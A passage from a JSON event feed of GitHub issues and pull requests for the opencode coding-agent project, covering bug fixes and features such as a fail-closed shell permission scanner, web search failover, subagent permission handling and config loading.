          "labels": [],
          "author": "RichardNHarris",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:1f4e322ba5408d6ff8ba",
        "signalId": "github:anomalyco/opencode:issue:42336",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42336",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "customize-opencode skill has missing global config location",
          "text": "### Description By using /customize-opencode skill, the AI agents always miss out on opencode.jsonc file for configuring opencode configurations such as MCPs, skills, etc. on both user and project folder level and agents just assume that config file is missing and proceed with creating a new one. ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce Drop a prompt \"Use /customize-opencode and configure Playwright MCP user-level\" ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42336",
          "createdAt": "2026-08-13T14:23:27Z",
          "updatedAt": "2026-08-13T16:28:10Z",
          "timestamp": "2026-08-13T16:28:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "TechyAditya",
          "state": "closed",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cc82d377272d1e7dafa7",
        "signalId": "github:anomalyco/opencode:pull_request:42337",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42337",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(skills): Update global config path in documentation",
          "text": "Clarified the global config path to include both JSON and JSONC formats. ### Issue for this PR Closes #32717 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Fixes an issue where AI agents almost always miss out on looking for opencode.jsonc file and assumes the global config file is missing ### How did you verify your code works? Gave a prompt \"use customize-opencode skill and tell me where is global config\" and I got response: I'll load the skill. →Skill \"customize-opencode\" Global config lives at: - ~/.config/opencode/opencode.json (or opencode.jsonc) - On your machine: C:\\Users\\Aditya\\.config\\opencode\\opencode.json Note it's not ~/.opencode/. Other global items sit alongside it: - Agents: ~/.config/opencode/agent/<name>.md - Commands: ~/.config/opencode/command/<name>.md - Skills: ~/.config/opencode/skill/<name>/SKILL.md Project config (./opencode.json or .opencode/opencode.json) deep-merges over global. ### Screenshots / recordings <img width=\"2560\" height=\"1524\" alt=\"image\" src=\"https://github.com/user-attachments/assets/def8a86a-6562-4fda-baf3-61e57fe08acf\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42337",
          "createdAt": "2026-08-13T14:26:19Z",
          "updatedAt": "2026-08-13T16:27:30Z",
          "timestamp": "2026-08-13T16:27:30Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "TechyAditya",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:faa84130e2bbaba32d65",
        "signalId": "github:anomalyco/opencode:pull_request:42351",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42351",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): add portable shell permission scanner",
          "text": "## What Replace Core's tree-sitter Bash and PowerShell permission parsing with a dependency-free, fail-closed scanner. This removes the tree-sitter runtime, grammar packages, WASM assets, asset staging, and parser environment variables used by Core shell-permission parsing. The scanner is 10.5 KB minified / 3.8 KB gzip and is bundled into published Core artifacts. ## Before / After **Before:** shell permission analysis initialized tree-sitter at runtime and depended on staged WASM assets. Unsupported syntax could not carry an explicit opaque permission boundary through every API and UI surface. **After:** supported Bash, zsh, and PowerShell command positions produce reusable command resources. Unsupported, dynamic, or uncertain syntax produces one opaque request, never a reusable save, preserves configured asks and denies, and conservatively requires external-directory authorization because it may conceal a directory change. ## Measurements | Metric | Before: tree-sitter | After: portable scanner | Change | | --- | ---: | ---: | ---: | | Core shell-parser assets | 2,569,493 bytes | 10,502-byte minified scanner bundle | 99.6% smaller | | Gzipped scanner bundle | n/a | 3,765 bytes | n/a | | Bash parity throughput | 69,171 scans/sec | 148,581 scans/sec | 2.15x faster | | Current scanner microbenchmark | n/a | 547,079 scans/sec | Scanner-only measurement | | Core shell-parser dependencies | 3 distinct packages | 0 | Removed from Core parsing | | Core parser shim files | 3 | 0 | Removed | | Runtime parser initialization | WASM loading and initialization | None | Removed | | Scanner tests | No portable-scanner suite | 570 tests / 860 assertions | Added | | Shell execution conformance | No execution oracle | 9,825 generated shell runs / 13,870 dispatches | Zero omissions | | PowerShell AST conformance | No official-parser oracle | 2,684 inputs / 1,934 supported scans | Zero omissions | The 2.15x throughput result is the apples-to-apples Bash parity corpus comparison. The 547,079 scans/sec result is the median of seven complete invocations of the current nine-run scanner benchmark and is reported separately to avoid comparing different harnesses. Parser asset size is raw bytes; the 3.8 KB scanner gzip size is included only as an additional distribution reference. OpenTUI's separate tree-sitter runtime remains for TUI syntax highlighting. ## How - `packages/shell-scan` implements bounded Bash/zsh and PowerShell scanners with recursive command-substitution handling and explicit opaque reasons. - `packages/core/src/shell/parse.ts` adapts scanner output into command resources, reusable prefixes, and directory authorization boundaries. - `packages/core/src/permission.ts` evaluates opaque requests only against safe blanket rules while preserving scoped configured asks and denies. - `packages/core/src/tool/plugin/shell.ts` forwards opaque state, removes reusable saves, and asserts wildcard external-directory access for uncertain directories. - Protocol, server, client, ACP, app, and generated surfaces forward and render opaque requests consistently. - Core's build bundles the private scanner package into `dist`, so published Core has no scanner runtime dependency. - Core shell-permission tree-sitter dependencies and parser assets are removed. TUI's independent tree-sitter runtime and Bash grammar remain for syntax highlighting. ```mermaid flowchart TD A[Shell tool input] --> B{Portable scanner} B -->|Supported syntax| C[Command resources and known directories] B -->|Dynamic or uncertain| D[Opaque command resource] C --> E[Normal permission evaluation] D --> F[No reusable save] D --> G[Scoped deny and ask preservation] D --> H[Wildcard external-directory check] E --> I[Execute after authorization] F --> I G --> I H --> I ``` ## Scope The scanner identifies shell-language command positions for supported Bash, zsh, and PowerShell syntax. Behavior delegated to an allowed external program, including package scripts, plugins, makefiles, interpreter files, and remote commands, remains that program's permission boundary. Unsupported or uncertain syntax intentionally fails closed as opaque. This PR does not replace the TUI's tree-sitter grammar used for syntax highlighting. ## Testing - `packages/shell-scan`: 570 tests, 860 assertions; typecheck passed. - `packages/core`: 54 focused shell parser, permission, and shell tool tests; typecheck and production build passed. - `packages/cli`: 10 focused ACP and node-asset tests; typecheck passed. - Protocol, Schema, Server, App, Client generation, and full repository typechecks passed. - Bash 5.3, system Bash 3.2, and zsh 5.9 execution oracle: 3,275 programs per shell, 13,870 observed fake-command dispatches, zero omissions. - PowerShell 7.3 official AST oracle: 2,684 inputs, 1,934 supported scans, zero omissions. - Windows CI runs the PowerShell oracle under both PowerShell 7 and Windows PowerShell 5.1 even when an earlier unit-test step fails. - Packed Core artifact contains the scanner implementation with no `@opencode-ai/shell-scan` runtime dependency. - Full push-hook repository typecheck: 35 packages passed.",
          "url": "https://github.com/anomalyco/opencode/pull/42351",
          "createdAt": "2026-08-13T16:08:42Z",
          "updatedAt": "2026-08-13T16:27:29Z",
          "timestamp": "2026-08-13T16:27:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1dc4f18f6325b256218f",
        "signalId": "github:anomalyco/opencode:pull_request:42354",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "text",
          "updatedAt",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42354",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): add automatic web search routing",
          "text": "## What Add automatic provider selection and failover for V2 web search. Users can configure `websearch.provider` as `\"auto\"`, or select **Allow web search** on first use. Each search snapshots the currently registered providers, shuffles them once, and tries each provider at most once until one succeeds. Fixed provider selections and explicit request provider IDs remain strict and never fall back. ## How - `packages/schema` defines `WebSearch.AUTO` and the typed `WebSearch.Selection` config value. - `packages/core/src/websearch.ts` resolves explicit, fixed, and automatic routes. Automatic routes use Effect's seedable `Random.shuffle` and `Effect.firstSuccessOf` over existing `WebSearch.Request` failures. - `packages/core/src/tool/plugin/websearch.ts` updates first-use consent to persist `\"auto\"` while preserving fixed-provider and disabled choices. - Existing response, tool metadata, and server error contracts remain unchanged and expose only the provider that succeeded. ## Scope - No provider ranking, load measurement, retry delays, backoff, or per-provider retries. - Empty result sets remain successful and do not trigger fallback. - Existing persisted fixed-provider choices are not migrated. - No public attempted-provider list or new exhaustion error. ## Testing - `bun run test test/websearch.test.ts test/tool-websearch.test.ts` in `packages/core` (24 tests) - `bun typecheck` in `packages/core` - `bun run test test/config.test.ts` in `packages/schema` - `bun typecheck` in `packages/schema` - `bun typecheck` in `packages/plugin` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (34 packages) ## Flow ```mermaid flowchart TD Q[Web search query] --> E{Explicit provider?} E -- Yes --> S[Attempt explicit provider once] E -- No --> D{Configured or stored selection} D -- Fixed provider --> F[Attempt fixed provider once] D -- auto --> H[Snapshot and shuffle registered providers] H --> A[Attempt next provider] A -- Success, including empty results --> R[Return winning provider and results] A -- WebSearch.Request and providers remain --> A A -- Final WebSearch.Request --> X[Return final existing error] ```",
          "url": "https://github.com/anomalyco/opencode/pull/42354",
          "createdAt": "2026-08-13T16:19:06Z",
          "updatedAt": "2026-08-13T16:25:25Z",
          "timestamp": "2026-08-13T16:25:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8790060718463d6f9ea1",
        "signalId": "github:anomalyco/opencode:pull_request:42275",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42275",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): resolve child process exit signal on exit event",
          "text": "### Issue for this PR Fixes #41806 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `ChildProcessHandle.exitCode` was settled from Node's `close` event, which waits for stdio to close after the direct child exits. A descendant that inherits one of those pipes can therefore keep the direct child's exit signal pending. This settles the signal from `exit` instead and retains `close` as a fallback. The change is intentionally limited to the handle lifecycle; callers that separately collect streams continue to wait for stream completion. ### How did you verify your code works? - `cd packages/core && bun test test/effect/cross-spawn-spawner.test.ts` — 25 pass, 0 fail - `cd packages/core && bun typecheck` The regression starts a parent that spawns a descendant with inherited stdout, records readiness, and exits. The descendant holds the pipe open until the test releases it, proving that `exitCode` settles from the direct child's exit rather than the later stream close. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42275",
          "createdAt": "2026-08-13T08:11:26Z",
          "updatedAt": "2026-08-13T14:06:56Z",
          "timestamp": "2026-08-13T14:06:56Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a83ffdc69dc674d2cf37",
        "signalId": "github:anomalyco/opencode:pull_request:42303",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42303",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): clarify possible tool argument truncation",
          "text": "### Issue for this PR Closes #42224 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Large tool arguments can end in an unterminated JSON string when generation stops before the model emits the closing syntax. The resulting parser error does not explain the likely cause or how to adjust the configured output limit. This PR makes that failure actionable without treating every unterminated string as proof of token-limit truncation. For an unterminated tool-call JSON parse, the invalid-tool result says the arguments may have been truncated, names the configured output token limit, points to `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX`, and preserves the original parser error. Other malformed tool inputs keep their original diagnostics. The internal `invalid` repair tool remains available to the AI SDK parser but is removed from the provider request, so the repaired diagnostic reaches the user without advertising an implementation-only tool to the model. A direct `finish_reason: \"length\"` also emits a structured warning with the session, message, model, and provider IDs. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/llm.test.ts` — verifies the qualified truncation diagnostic, the unchanged non-truncation parse error, and that the internal repair tool is absent from the provider request - `cd packages/opencode && bun test test/session/processor-effect.test.ts` — verifies the processor path - `cd packages/opencode && bun typecheck` - Changed-file Prettier and `git diff --check` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42303",
          "createdAt": "2026-08-13T10:27:16Z",
          "updatedAt": "2026-08-13T14:05:35Z",
          "timestamp": "2026-08-13T14:05:35Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1ba90fb57005cab769f1",
        "signalId": "github:anomalyco/opencode:pull_request:42310",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42310",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): cascade auto permissions to subagent sessions",
          "text": "### Issue for this PR Fixes #41730 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When `opencode run` spawns a subagent, permission requests belong to the child session. Filtering only for the root session leaves that subagent waiting forever. The run event loop now accepts permission requests from the attached root session and sessions whose `parentID` chain reaches that root. Proven descendants are cached. Requests from unrelated sessions in the same workspace remain untouched, so `--auto` cannot approve another concurrent session's request. ### How did you verify your code works? - `cd packages/opencode && bun test test/cli/run/run-process.test.ts` — 16 pass, 0 fail - `cd packages/opencode && bun test test/permission-task.test.ts` — 21 pass, 0 fail - `cd packages/opencode && bun typecheck` The subprocess matrix covers child auto-approval, child auto-rejection without `--auto`, and an attach-mode negative case proving an unrelated session's pending permission is not answered. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42310",
          "createdAt": "2026-08-13T12:00:20Z",
          "updatedAt": "2026-08-13T14:03:17Z",
          "timestamp": "2026-08-13T14:03:17Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d7a9203c04a21db02f20",
        "signalId": "github:anomalyco/opencode:pull_request:42274",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42274",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(shell): encode PowerShell commands to preserve multi-line output",
          "text": "### Issue for this PR Closes #41983 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Windows, a configured PowerShell `.cmd` or `.bat` wrapper passes through `cmd.exe`, which treats newlines in a `-Command` argument as command separators. Only the first line can reach PowerShell. This uses PowerShell's UTF-16LE `-EncodedCommand` form for wrapper scripts, while preserving `-Command` for direct `powershell.exe` and `pwsh.exe` executables. That keeps multiline wrapper commands intact without reducing the command-line budget for direct executables. ### How did you verify your code works? - `cd packages/opencode && bun test test/tool/shell.test.ts` — 24 pass, 0 fail - `cd packages/core && bun test test/shell.test.ts` — 7 pass, 0 fail - `cd packages/opencode && bun typecheck` - `cd packages/core && bun typecheck` Portable tests verify the exact argument form and UTF-16LE round trip. A Windows-only test creates a real `pwsh.cmd` wrapper and verifies all three lines of a multiline command reach PowerShell. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42274",
          "createdAt": "2026-08-13T08:11:17Z",
          "updatedAt": "2026-08-13T14:02:08Z",
          "timestamp": "2026-08-13T14:02:08Z",
          "metrics": {
            "reactions": 1,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a86c47536a170597d552",
        "signalId": "github:anomalyco/opencode:pull_request:42317",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42317",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): include agent identity in system prompt",
          "text": "### Issue for this PR Fixes #42125 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The model does not know which agent it is running as because the agent identity is not included in the system prompt. The `<env>` block already contains model ID, working directory, platform, and date — this adds `Agent: ${agent.name}`. The `environment` function signature changes from `(model)` to `(model, agent)`, consistent with `sys.skills(agent)` and `sys.mcp(agent)` which already receive the agent. ### How did you verify your code works? Two tests in `test/session/system.test.ts` verify the agent name appears in the environment output — one with the built-in `build` agent and one with a custom `reviewer` agent. `bun typecheck` passes clean. Only one caller of `sys.environment` exists in the codebase (`prompt.ts:1259`), updated. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42317",
          "createdAt": "2026-08-13T12:54:24Z",
          "updatedAt": "2026-08-13T12:54:24Z",
          "timestamp": "2026-08-13T12:54:24Z",
          "metrics": {
            "reactions": 1,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a8643018eb9d72bd5b20",
        "signalId": "github:anomalyco/opencode:pull_request:42316",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42316",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): filter compaction events from jsonl output",
          "text": "### Issue for this PR Fixes #42238 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When auto-compaction occurs, `opencode run --format json` emits internal compaction output (summaries, step events, reasoning) as ordinary JSONL events. Consumers cannot distinguish these from user-visible assistant output. The fix tracks compaction message IDs from `message.updated` events (where `info.mode === \"compaction\"`) and skips all parts belonging to those messages. Synthetic continuation prompts are also filtered via `part.synthetic`. ### How did you verify your code works? All 13 existing `run-process.test.ts` tests pass with no regression. `bun typecheck` passes clean. The `compactionMessages` Set is populated from `message.updated` which fires before any `message.part.updated` for the same message (sequential publish in the same Effect fiber), so the filter is always in place before parts arrive. A dedicated compaction test would require triggering real context overflow in the subprocess harness, which is complex with the mock LLM server. The fix was verified manually against the issue's reproduction steps. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42316",
          "createdAt": "2026-08-13T12:54:23Z",
          "updatedAt": "2026-08-13T12:54:23Z",
          "timestamp": "2026-08-13T12:54:23Z",
          "metrics": {
            "reactions": 1,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:88ad8160e9241c91fcc8",
        "signalId": "github:anomalyco/opencode:issue:42273",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42273",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential",
          "text": "new vision（1.18.18.0）：Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential",
          "url": "https://github.com/anomalyco/opencode/issues/42273",
          "createdAt": "2026-08-13T08:06:44Z",
          "updatedAt": "2026-08-13T10:24:07Z",
          "timestamp": "2026-08-13T10:24:07Z",
          "metrics": {
            "reactions": 4,
            "comments": 2
          },
          "labels": [],
          "author": "e4glet",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:db28fc9b53ddc3efe220",
        "signalId": "github:anomalyco/opencode:pull_request:42296",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42296",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): drop empty text separators between signed reasoning blocks",
          "text": "### Issue for this PR Closes #41738 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Anthropic signs `thinking`/`redacted_thinking` reasoning blocks and rejects any modification to the assistant message that contains them. Empty text parts (`\"\"`) can appear as structural separators between reasoning groups (e.g. `step-start, reasoning(sig), text(\"\"), step-start, reasoning(sig)`). Previously these were rewritten to a single space (`\" \"`) to survive AI SDK filtering, but that mutation itself causes Anthropic to reject the signed reasoning blocks as \"modified\" — breaking compaction for any session using extended thinking. This drops empty text parts entirely when signed reasoning is present. Step-start parts already delimit reasoning groups, so the separator is not needed. The signed blocks remain byte-for-byte identical to the original response. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/message-v2.test.ts` — 37 pass, 0 fail - `cd packages/opencode && bun test test/session/compaction.test.ts` — 52 pass, 1 skip, 0 fail - `cd packages/opencode && bun typecheck` — clean - Changed-file Prettier and `git diff --check` Two new tests verify that signed reasoning and redacted thinking blocks survive `toModelMessages` with their signatures intact and no mutated text separator. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42296",
          "createdAt": "2026-08-13T09:50:59Z",
          "updatedAt": "2026-08-13T09:54:00Z",
          "timestamp": "2026-08-13T09:54:00Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:5a172bf861bae6ab3d97",
        "signalId": "github:anomalyco/opencode:issue:15617",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:15617",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support inline skill invocation using $skill-name",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Support inline skill invocation using $skill-name syntax anywhere in a prompt (not just at the start). Currently, OpenCode requires skills to be invoked via slash commands at the beginning of a prompt (e.g., `/skill-name do something`). OpenAI Codex supports mentioning skills inline with $skill-name anywhere in the prompt, allowing more natural phrasing like: `Use $brainstorming to explore ideas for the API design` Reference: https://developers.openai.com/codex/skills/",
          "url": "https://github.com/anomalyco/opencode/issues/15617",
          "createdAt": "2026-03-01T20:40:20Z",
          "updatedAt": "2026-08-13T03:00:18Z",
          "timestamp": "2026-08-13T03:00:18Z",
          "metrics": {
            "reactions": 19,
            "comments": 8
          },
          "labels": [],
          "author": "marioaltvater",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:79d30bbb3e0eadd5c790",
        "signalId": "github:anomalyco/opencode:pull_request:42178",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42178",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): apply variable substitution to v2 config loading",
          "text": "### Issue for this PR Closes #41973 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The v2 config loading path in `packages/core/src/config.ts` reads config files and parses them as JSONC without applying `{file:}` and `{env:}` variable substitution. The v1 path in `packages/opencode/src/config/config.ts` calls `ConfigVariable.substitute()` on the raw text before parsing. Through `opencode run` and the TUI (v1 path), `{file:/tmp/demo.key}` is resolved and the provider authenticates. Through `opencode serve` (v2 path), the literal string `{file:/tmp/demo.key}` ends up as the API key, causing 401s. This PR adds an Effect-based `substitute()` function in `packages/core/src/config/variable.ts` that handles `{env:VAR}` and `{file:path}` substitutions, and calls it in `loadFile()` before JSONC parsing. The implementation mirrors the v1 substitution logic: supports `~/` expansion, relative paths (relative to the config file), skips substitution inside `//` line comments, and trims file content. ### How did you verify your code works? Added 5 tests to `config.test.ts` covering: `{file:}` with relative paths, `{env:}` substitution, `//` comment skipping, `{file:}` with absolute paths, and `{file:}` content containing JSON-special characters (quotes, backslashes, newlines). 20/20 tests pass, typecheck clean, prettier clean. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42178",
          "createdAt": "2026-08-12T23:29:44Z",
          "updatedAt": "2026-08-12T23:32:49Z",
          "timestamp": "2026-08-12T23:32:49Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7dcf220e5784f2b24c54",
        "signalId": "github:anomalyco/opencode:pull_request:42176",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42176",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): set finish status on halted assistant message",
          "text": "### Issue for this PR Closes #42070 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When the session processor halts due to an error that isn't a ContextOverflow (e.g. an API error from the model), the assistant message gets `error` set but `finish` stays undefined. The prompt loop checks `finish` to decide whether to exit — with it undefined, the loop never terminates and the session appears stuck in compaction. The fix sets `finish = \"error\"` in the non-ContextOverflow branch of `halt()`, matching what the ContextOverflow branch already does. This is a one-line change in `processor.ts`. ### How did you verify your code works? Added `expect(handle.message.finish).toBe(\"error\")` to the existing test \"do not retry unknown json errors\" which exercises the exact error-halt path. 15/15 tests pass in `processor-effect.test.ts`, typecheck clean. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42176",
          "createdAt": "2026-08-12T23:27:35Z",
          "updatedAt": "2026-08-12T23:32:45Z",
          "timestamp": "2026-08-12T23:32:45Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:77931983e812a50f3aa5",
        "signalId": "github:anomalyco/opencode:pull_request:42177",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42177",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): dispose all instances on command exit",
          "text": "### Issue for this PR Closes #41841 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `opencode run --session <id> --dir <path>` can load a second InstanceContext via server middleware when the session's original directory differs from `--dir`. The CLI's finally block was calling `store.dispose(ctx)`, which only disposes the primary instance — the middleware-loaded instance is left running with its IPC server alive, so the process never exits. Changed `store.dispose(ctx)` to `store.disposeAll()` with a `logWarning` on failure (matching the pattern in `global-lifecycle.ts`). This ensures all instances loaded during the command are cleaned up. The JSDoc comment is updated to reflect the new behavior. `serve` and `web` commands are unaffected — they use `instance: false` and return before reaching the finally block. The TUI has its own disposal path. ### How did you verify your code works? Typecheck clean. Existing tests for `disposeAll` semantics in `instance.test.ts` (dedup, re-arm) remain green. The source-string assertion in `effect-cmd-instance-als.test.ts` still passes. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] 